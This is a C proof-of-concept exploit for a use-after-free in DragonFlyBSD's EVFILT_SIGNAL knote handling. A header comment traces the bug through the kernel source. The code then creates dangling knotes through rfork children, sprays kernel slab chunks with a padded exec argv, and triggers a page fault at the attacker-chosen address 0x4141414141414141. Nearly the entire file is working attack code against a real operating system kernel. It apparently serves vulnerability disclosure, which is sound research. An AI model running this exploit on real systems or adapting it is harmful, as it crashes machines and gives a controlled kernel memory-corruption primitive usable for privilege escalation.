DF-2691 / kqsig_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * DF-2691 - EVFILT_SIGNAL knote use-after-free on reaped target process * * DragonFlyBSD sys/kern/kern_sig.c: * filt_sigattach() attaches the knote to *curproc*'s p_klist without * taking a process reference (kern_sig.c:2667-2679). * filt_signal() ignores the NOTE_EXIT hint, so exit1()'s * KNOTE(&p->p_klist, NOTE_EXIT) never detaches signal * knotes (unlike EVFILT_PROC's filt_proc which detaches * itself on NOTE_EXIT - kern_event.c:382-391). * filt_sigdetach() unconditionally does * knote_remove(&kn->kn_ptr.p_proc->p_klist, kn) * (kern_sig.c:2681-2687) with no KN_DETACHED guard and * no lifetime protection on the proc. * * Reaching a knote that outlives its target process: * fork()/vfork() strip kqueue fds from the child (fdcopy, kern_descrip.c: * 2574) and SCM_RIGHTS refuses them (uipc_usrreq.c:1799), so normally a * kqueue and its sig-knotes die with their owner. BUT rfork(RFPROC) * without RFFDG *shares* the fd table (fdshare, kern_fork.c:558). The * fd-shared child can use the parent's kqueue; filt_sigattach() then * attaches the knote to the CHILD's own p_klist. When that child exits * and is reaped, kern_wait() kfrees its struct proc (kern_exit.c:1336) * with the knote still linked. Destroying the kqueue later runs * knote_remove() -> SLIST_REMOVE() on the freed chunk: * - un-recycled: silent write of NULL into freed kernel memory * - recycled: SLIST_FIRST() is recycled content; the walk dereferences * it -> page fault at a controlled address. * * This PoC sprays exec'd /bin/sleep children whose padded argv makes * p_args = kmalloc(sizeof(struct pargs)+argvlen, M_PARGS) land in the same * slab zone class as struct proc (1208 bytes -> 1280-byte chunks) with * 'AAAAAAAA' exactly at offsetof(struct proc, p_klist) == 496, so the * faulting address is the user-chosen value 0x4141414141414141. * (kern.ps_arg_cache_limit must be raised above 1259 for the cache to keep * the big argv; default is 256. The bug trigger itself is unprivileged.) * * Build: cc -O2 -o kqsig_uaf kqsig_uaf.c * Run: ./kqsig_uaf * Expect: kernel page fault, faulting address 0x4141414141414141 (+24) * -> guest panics. */ #include <sys/types.h> #include <sys/event.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <errno.h> /* RFPROC comes from <sys/unistd.h> via <unistd.h> on DragonFly */ #define NSIGK 64 /* dangling knotes per run */ #define NSPRAY 400 /* p_args spray children */ static char padbuf[2048]; static int gate[2]; int main(int argc, char **argv) { struct kevent kev; pid_t child; int kq, j, i, status; char *av[5]; char go = 1; kq = kqueue(); if (kq < 0) { perror("kqueue"); exit(1); } if (pipe(gate) < 0) { perror("pipe"); exit(1); } /* * Phase 0: pre-fork the spray children. They allocate their struct * procs NOW (before the victim chunks are freed) and block on the * gate pipe, so their later p_args kmallocs - not their forks - get * to recycle the freed victim chunks. */ for (i = 0; i < NSPRAY; i++) { child = fork(); if (child == 0) { char b; close(kq); if (read(gate[0], &b, 1) < 0) _exit(9); /* released below */ av[0] = "sleep"; av[1] = "600"; av[2] = padbuf; av[3] = NULL; { char *ev[1]; ev[0] = NULL; execve("/bin/sleep", av, ev); } _exit(9); } } /* * Phase 1: rfork(RFPROC) children share our fd table, so they can * register EVFILT_SIGNAL knotes on OUR kqueue. filt_sigattach() * attaches each knote to the CHILD's p_klist. The child exits and * is reaped, freeing its struct proc with the knote still linked. */ for (j = 0; j < NSIGK; j++) { child = rfork(RFPROC); if (child < 0) { perror("rfork"); exit(1); } if (child == 0) { EV_SET(&kev, j + 1, EVFILT_SIGNAL, EV_ADD, 0, 0, NULL); if (kevent(kq, &kev, 1, NULL, 0, NULL) < 0) { char msg[64]; int len = snprintf(msg, sizeof(msg), "kevent fail j=%d errno=%d\n", j, errno); write(2, msg, len); _exit(8); } _exit(0); } if (waitpid(child, &status, 0) != child) { perror("waitpid"); exit(1); } if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { fprintf(stderr, "child kevent failed: %d\n", status); exit(1); } } printf("[%d dangling sig-knotes attached to freed procs]\n", NSIGK); fflush(stdout); /* * Phase 2: release the pre-forked spray children. Each exec's * p_args = kmalloc(8 + argvbytes) is a 1280-class chunk like * struct proc (1208) and holds our argv bytes; 'AAAAAAAA' is at * ar_args offset 488, i.e. p_args offset 496, which is exactly * offsetof(struct proc, p_klist). */ memset(padbuf, 'B', sizeof(padbuf)); memcpy(padbuf + 488 - 10, "AAAAAAAA", 8); /* after "sleep\0" "300\0" */ padbuf[1240] = 0; for (i = 0; i < NSPRAY; i++) write(gate[1], &go, 1); printf("[%d p_args spray children released, argv=%d bytes]\n", NSPRAY, (int)(10 + strlen(padbuf) + 1)); fflush(stdout); sleep(3); /* * Phase 3: destroy the kqueue -> drain -> filt_sigdetach for each * dangling knote -> knote_remove(&<freed proc>->p_klist, kn). * If any freed chunk was recycled by a p_args spray, SLIST_FIRST * reads 0x4141414141414141 and the SLIST_REMOVE walk dereferences * it: page fault at 0x4141414141414141+24. */ printf("closing kqueue...\n"); fflush(stdout); close(kq); printf("SURVIVED: no panic this run (re-run)\n"); fflush(stdout); _exit(0); } |